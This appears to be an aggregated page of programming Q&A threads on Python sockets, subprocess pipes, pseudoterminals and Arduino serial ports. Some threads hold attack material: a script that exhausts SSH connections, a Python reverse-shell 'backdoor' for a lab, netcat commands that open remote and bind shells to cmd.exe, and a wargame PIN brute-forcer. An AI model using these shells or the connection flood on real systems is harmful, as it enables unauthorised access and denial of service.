Develop Reference

Automate input to brute-force a program running in cli with Python

I'm currently trying to complete all levels on Over the Wire's Bandit 'wargame'.
One of the levels (level 24), requires that I connect to a port, on which a daemon is running. This daemon asks to input a password and a 4-digit pin. The password is already known (it is provided at the end of the previous level), the pin is unknown. The indication is that it's necessary to 'brute-force' it.
Entering a wrong pin results in this message: "Wrong! Please enter the correct pincode. Try again.".
I decided to write a python script that automates the process. The script would:
1) Connect to the port via netcat
2) Enter the password and a randomly generated pin
3) Read the output, and, if the word 'again' is in it (meaning the pin is wrong), repeat via a loop, until the pin is guessed.
But although my script runs and connects, it fails to communicate with the daemon, once the connection to its port is established.
All I get is the daemon's prompt, requesting password and pin.
This is my code:
import subprocess
import random
# Initialise variables
pin = ''
output = "Wrong! Please enter the correct pincode. Try again."
# Connect to the port
def connect_to_port():
subprocess.call(["nc localhost 30002"], shell=True)
# Generate pin
# TO DO: skip pins that were proven incorrect
def generate_pin():
pin = ''
pin_len = 0
while pin_len < 4:
pin += str(random.randint(0, 9))
pin_len += 1
return pin
# Connect to port
# Loop: check if 'again' is in 'output',
# if it is, generate a pin and input password and pin
def main():
connect_to_port()
while 'again' in output:
pin = generate_pin()
out = subprocess.check_output(["UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ", pin])
output = out.decode("utf-8")
main()
I suspect I'm not using the subprocess module correctly, but I can't really understand how. Why is my script not working?
Forgive my rudimentary use of the relevant terminology.
EDIT: I see the use of subprocess.check_out() is all wrong. What I'd need, as suggested in the answers and comments, is to open a PIPE and use communicate() to write to the subprocess's stdin (modifying the pin each time) and read its stdout, but I'm not sure how to go about that.

The netcat needs to be opened once during the conversation and then multiple reads and writes need to be performed.
If you want to be able to read and write data to the subprocess, you will need to create a PIPE so use the Popen interface, then you can use communicate().
Given how trivial this is, why not just open a socket directly in python?
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('localhost', 30002))
data = sock.recv(64)
sock.send(pin)

SSH Max Connection Ruby Script Not Working Properly

Most sshd installs have a default limit of 10 connections. If you exceed this, all users who attempt to connect to the server will receive the error ssh_exchange_identification: Connection closed by remote host. This can be demonstrated with the simple bash onliner for i in {0..12}; do nc targetserver.com 22 & done. I also wrote a python script to demonstrate this:
#!/usr/bin/env python
import socket
socks=[]
print "Building sockets. . ."
for i in range(20):
socks.append(socket.socket(2,1))
socks[i].connect(('localhost',22))
while 1:
pass
print "Done."
which works perfectly. I then attempted to create the same script using ruby:
#!/usr/bin/env ruby
require 'socket'
socks = Array.new(20)
puts "Building sockets...\n"
for i in 0..19
socks[i] = TCPSocket.new('localhost', 22)
end
puts "Done.\n"
while (true) do
end
The ruby script does not get any errors and prints the expected output, but does not result in preventing other users from connecting to ssh. I verified that the ruby script is creating sockets with another python script I wrote:
#!/usr/bin/python
from socket import socket as sock, SO_REUSEADDR as REUSE, SOL_SOCKET as SOL
host='localhost'
port=5555
s=sock(2,1)
s.setsockopt(SOL, REUSE, 1)
s.bind((host,port))
s.listen(port)
i=0
while 1:
s.accept()
i += 1
print i
And changing to destination port to 5555.
The only thing that comes to mind is that the sockets might be closing but I do not know why this would be. Is there anything else that would prevent this script from working?

python subprocess stdin.write a string error 22 invalid argument

i have two python files communicating with socket. when i pass the data i took to stdin.write i have error 22 invalid argument. the code
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
Update
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab. this is for educational purpose. i have two machines. 1) is running ubuntu and i have the in server this code:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
have this code for the client:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
and the error is in the client file
Traceback (most recent call last): File "ex1client2.py", line 50, in proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file
basically i want to run serial commands from the server to the client and get the output back in the server. the first command is executed, the second command i get this error message.
The main problem which led me to this solution is with chanhing directory command. when i excecute cd "path" it doesn't change.

Your new code has a different problem, which is why it raises a similar but different error. Let's look at the key part:
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
The problem is that each time through this list, you're calling proc.communicate(). As the docs explain, this will:
Send data to stdin. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate.
So, after this call, the child process has quit, and the pipes are all closed. But the next time through the loop, you try to write to its input pipe anyway. Since that pipe has been closed, you get ValueError: I/O operation on closed file, which means exactly what it says.
If you want to run each command in a separate cmd.exe shell instance, you have to move the proc = subprocess.Popen('cmd.exe', …) bit into the loop.
On the other hand, if you want to send commands one by one to the same shell, you can't call communicate; you have to write to stdin, read from stdout and stderr until you know they're done, and leave everything open for the next time through the loop.
The downside of the first one is pretty obvious: if you do a cd \Users\me\Documents in the first command, then dir in the second command, and they're running in completely different shells, you're going to end up getting the directory listing of C:\python27\Tools rather than C:\Users\me\Documents.
But the downside of the second one is pretty obvious too: you need to write code that somehow either knows when each command is done (maybe because you get the prompt again?), or that can block on proc.stdout, proc.stderr, and s all at the same time. (And without accidentally deadlocking the pipes.) And you can't even toss them all into a select, because the pipes aren't sockets. So, the only real option is to create a reader thread for stdout and another one for stderr, or to get one of the async subprocess libraries off PyPI, or to use twisted or another framework that has its own way of doing async subprocess pipes.
If you look at the source to communicate, you can see how the threading should work.
Meanwhile, as a side note, your code has another very serious problem. You're expecting that each s.recv(1024) is going to return you one command. That's not how TCP sockets work. You'll get the first 2-1/2 commands in one recv, and then 1/4th of a command in the next one, and so on.
On localhost, or even a home LAN, when you're just sending a few small messages around, it will work 99% of the time, but you still have to deal with that 1% or your code will just mysteriously break sometimes. And over the internet, and even many real LANs, it will only work 10% of the time.
So, you have to implement some kind of protocol that delimits messages in some way.
Fortunately, for simple cases, Python gives you a very easy solution to this: makefile. When commands are delimited by newlines, and you can block synchronously until you've got a complete command, this is trivial. Instead of this:
while True:
data = s.recv(1024)
… just do this:
f = s.makefile()
while True:
data = f.readline()
You just need to remember to close both f and s later (or s right after the makefile, and f later). A more idiomatic use is:
with s.makefile() as f:
s.close()
for data in f:
One last thing:
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab
"localhost" means the same machine you're running one, so "a localhost inside a network lab" doesn't make sense. I assume you just meant "host" here, in which case the whole thing makes sense.
If you don't need to use Python, you can do this whole thing with a one-liner using netcat. There are a few different versions with slightly different syntax. I believe Ubuntu comes with GNU netcat built-in; if not, it's probably installable with apt-get netcat or apt-get nc. Windows doesn't come with anything, but you can get ports of almost any variant.
A quick google for "netcat remote shell" turned up a bunch of blog posts, forum messages, and even videos showing how to do this, such as Using Netcat To Spawn A Remote Shell, but you're probably better off googling for netcat tutorials instead.
The more usual design is to have the "backdoor" machine (your Windows box) listen on a port, and the other machine (your Ubuntu) connect to it, so that's what most of the blog posts/etc. will show you. The advantage of this direction is that your "backyard server" listens forever—you can connect up, do some stuff, quit, connect up again later, etc. without having to go back to the Windows box and start a new connection.
But the other way around, with a backyard client on the Windows box, is just as easy. On your Ubuntu box, start a server that just connects the terminal to the first connection that comes in:
nc -l -p 1234
Then on your Windows box, make a connection to that server, and connect it up to cmd.exe. Assuming you've installed a GNU-syntax variant:
nc -e cmd.exe 192.168.2.7 1234
That's it. A lot simpler than writing it in Python.
For the more typical design, the backdoor server on Windows runs this:
nc -k -l -p 1234 -e cmd.exe
And then you connect up from Ubuntu with:
nc windows.machine.address 1234
Or you can even add -t to the backdoor server, and just connect up with telnet instead of nc.

The problem is that you're not actually opening a subprocess at all, so the pipe is getting closed, so you're trying to write to something that doesn't exist. (I'm pretty sure POSIX guarantees that you'll get an EPIPE here, but on Windows, subprocess isn't using a POSIX pipe in the first place, so there's no guarantee of exactly what you're going to get. But you're definitely going to get some error.)
And the reason that happens is that you're trying to open a program named '\n' (as in a newline, not a backslash and an n). I don't think that's even legal on Windows. And, even if it is, I highly doubt you have an executable named '\n.exe' or the like on your path.
This would be much easier to see if you weren't using shell=True. In that case, the Popen itself would raise an exception (an ENOENT), which would tell you something like:
OSError: [Errno 2] No such file or directory: '
'
… which would be much easier to understand.
In general, you should not be using shell=True unless you really need some shell feature. And it's very rare that you need a shell feature and also need to manually read and write the pipes.
It would also be less confusing if you didn't reuse data to mean two completely different things (the name of the program to run, and the data to pass from the socket to the pipe).

Pseudoterminal master reads what it has just written

I'm working on a project that interfaces "virtual devices" (python processes) that use serial port connections with real devices that also use serial ports, and I'm using pseudoterminals to connect several(more than 2) of these serial-port communications processes (modeling serial devices) together, and I've hit a bit of a snag.
I've got a python process that generates pseudoterminals, symlinks the slave end of the pty to a file (so the processes can create a pyserial object to the filename), while the master ends are kept by my pty generating process and read; when data comes in on one master, the data is logged and then written to the other masters. This approach works if the listening process is always there.
The problem is when the virtual device dies or is never started (which is a valid use case for this project). On my system, it seems, that if data is written to a master end of a pty, if there is nothing listening to the slave end, calling read on that master will return the data that was just written! This means that devices receive the same data more than once -- not good!
Example:
>>master, slave = pty.openpty()
>>os.write(master,"Hello!")
6
>>os.read(master,6)
'Hello!'
I would prefer that the call to read() block until the slave sends data. In fact, this is the behavior of the slave device -- it can write, and then os.read(slave,1) will block until the master writes data.
My "virtual devices" need to be able to pass a filename to open a serial port object; I've attempted to symlink the master end, but that causes my virtual devices to open /dev/ptmx, which creates a new pseudoterminal pair instead of linking back to the slaves that already exist!
Is there any way to change the behavior of the master? Or even just get a filename to the master that corresponds to a slave device (not just /dev/ptmx)?
Thanks in advance!

I'm pretty sure this is because echoing is on by default. To borrow from the Python termios docs, you could do:
master, slave = os.openpty() # It's preferred to use os.openpty()
old_settings = termios.tcgetattr(master)
new_settings = termios.tcgetattr(master) # Does this to avoid modifying a reference that also modifies old_settings
new_settings[3] = new_settings[3] & ~termios.ECHO
termios.tcsetattr(master, termios.TCSADRAIN, new_settings)
You can use the following to restore the old settings:
termios.tcsetattr(master, termios.TCSADRAIN, old_settings)

In case someone finds this question, and jszakmeister's answer doesn't work, here is what worked for me.
openpty seems to create pty's in canonical mode with echo turned on. This is not what one might expect. You can change the mode using the tty.setraw function, like in this example of a simple openpty echo server:
master, slave = os.openpty()
tty.setraw(master, termios.TCSANOW)
print("Connect to:", os.ttyname(slave))
while True:
try:
data = os.read(master, 10000)
except OSError:
break
if not data:
break
os.write(master, data)

Serial ports on Windows or Ubuntu VBox to talk to Arduino from Python

I have an Arduino microcontroller listening on COM3. Using the arduino IDE and the Serial monitor works fine to send and receive data.
I would like to send and receive data from Python, but it's not immediately obvious how to do so. (I'd also be fine doing it in C# if it was substantially easier.)
I found arduino_serial.py, but it only works for Unix. Fortunately, I have a Ubuntu 10.10 VBox set up. However, I have no idea if that VM can access serial ports or if special steps are required to do so.
I also found pySerial, which looks pretty legitimate. However, I'm also unsure how to use it. It wants serial port names. How do I find out what valid values for these are?
For example, pySerial mentions that you can "Open named port at “19200,8,N,1”, 1s timeout" with the following command:
>>> ser = serial.Serial('/dev/ttyS1', 19200, timeout=1)
But I have no idea how you would know that /dev/ttyS1 was a valid port name.
Is there good documentation for getting started on this?
Update: I'm using Ubuntu with arduino_serial, but still having trouble.
This program is running on the Arduino:
void setup() {
Serial.begin(9600);
}
void loop() {
if (Serial.available()) {
Serial.print((char)Serial.read());
}
}
I see that a port called tty0 is available:
foo#bar:~/baz$ dmesg | grep tty
[ 0.000000] console [tty0] enabled
I then try to connect with arduino_serial:
foo#bar:~/baz$ sudo python
[sudo] password for foo:
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import arduino_serial
>>> sp = arduino_serial.SerialPort("/dev/tty0", 9600)
>>> sp.write("foo")
>>> sp.read_until("\n")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "arduino_serial.py", line 107, in read_until
n = os.read(self.fd, 1)
OSError: [Errno 11] Resource temporarily unavailable
Why am I getting this error? What am I doing wrong?

pySerial may or may not be built in to Python. Regardless, if it's not, pySerial is the library to download and install.
And since you already know the Arduino is on COM3, just use this:
import serial
ser = serial.Serial("COM3", 19200, timeout=1)
ser.write("Whatever")
For a Linux box, it's relatively easy to find out what serial port your Arduino is using:
dmesg | grep tty
This will give you some output similar to this: [ 7.944654] usb 1-1.6: FTDI USB Serial Device converter now attached to ttyUSB0
So my Arduino is on ttyUSB0. This means you can use the following code to talk to the Arduino on a Linux box:
import serial
ser = serial.Serial("/dev/ttyUSB0", 19200, timeout=1)
ser.write("Whatever")
Note: If you use a baud rate of 9600 on the Arduino, as most people do, you can simply use serial.Serial("COM3") or serial.Serial("/dev/ttyUSB0") without any other parameters.
EDIT:
You should also keep in mind that in the real world, it may take a second to actually open the port and get it ready for transmitting data. This means that performing a write IMMEDIATELY after the serial.Serial() call may not actually do anything. So the code I would use is as follows:
import serial
import time
ser = serial.Serial("/dev/ttyUSB0", 19200, timeout=1)
time.sleep(1.5)
ser.write("Whatever")
Kind of a hack, but it's the only way I know how to get it to work on my system.

The serial ports are named COM1 onwards on Windows, /dev/ttyS0->COM1. I wrote some code in Python for our Quadcopter controller which works both on Windows and Linux (given you supply the port name properly) using Pyserial.
Try passing COM3 to Pyserial on Windows. On the VM you will have to first pass the USB-to-serial adapter to the VM or set up the serial ports section (I use VirtualBox). If you go the USB route the serial devices are enumerated under /dev/ttyUSBxx.

I have a project called Yaam on CodePlex that uses C# to send data through the serial port. Check that out for an example. On the C# side (see Yaam\Yaam.xaml.cs), simply use the SerialPort class in the System.IO.Ports namespace. Once you instantiate the object and set the properties (baud rate, com port, etc), simply call.Open() . There are also plenty of other examples on the web. Take a look at these:
http://jtoee.com/2009/02/talking-to-an-arduino-from-net-c/
http://www.instructables.com/id/Interfacing-your-arduino-with-a-C-program/

"But I have no idea how you would know that /dev/ttyS1 was a valid port name."
PySerial's serial port initialiser accepts a number instead of a name as an argument. These numbers will correspond to "normal" serial ports (/dev/ttySX on Linux, COMX on Windows). You can then get the name from the created object. There's no way to know in advance what numbers to try, though, so as you'll see in the following code, you just have to try and fail.
This won't always discover simulated ports (created using socat or com0com), or USB ports though, so for those you need to use the glob module (I don't think it makes a huge difference whether you use globbing or indices for the dev/ttySX device nodes). This is what pySerial's own examples do. The following code is adapted from those examples:
import glob, os
import serial
USB_SERIAL_GLOB = "/dev/ttyUSB*"
def try_open(port, args = (), kwargs = {}):
try:
port = serial.Serial(port, *args, **kwargs)
except serial.SerialException:
return None
else:
return port
def serial_scan(max_range = 32, args = (), kwargs = {}):
for i in range(max_range):
port = try_open(i, args, kwargs)
if port is not None:
yield port
# Look for USB serial ports:
if os.name == 'posix':
for fn in glob.glob(USB_SERIAL_GLOB):
port = try_open(fn)
if port is not None:
yield port
if __name__ == "__main__":
for port in serial_scan(kwargs = {'baudrate':9600, 'timeout':0.5}):
port.close()
print "Found: %s" % port.name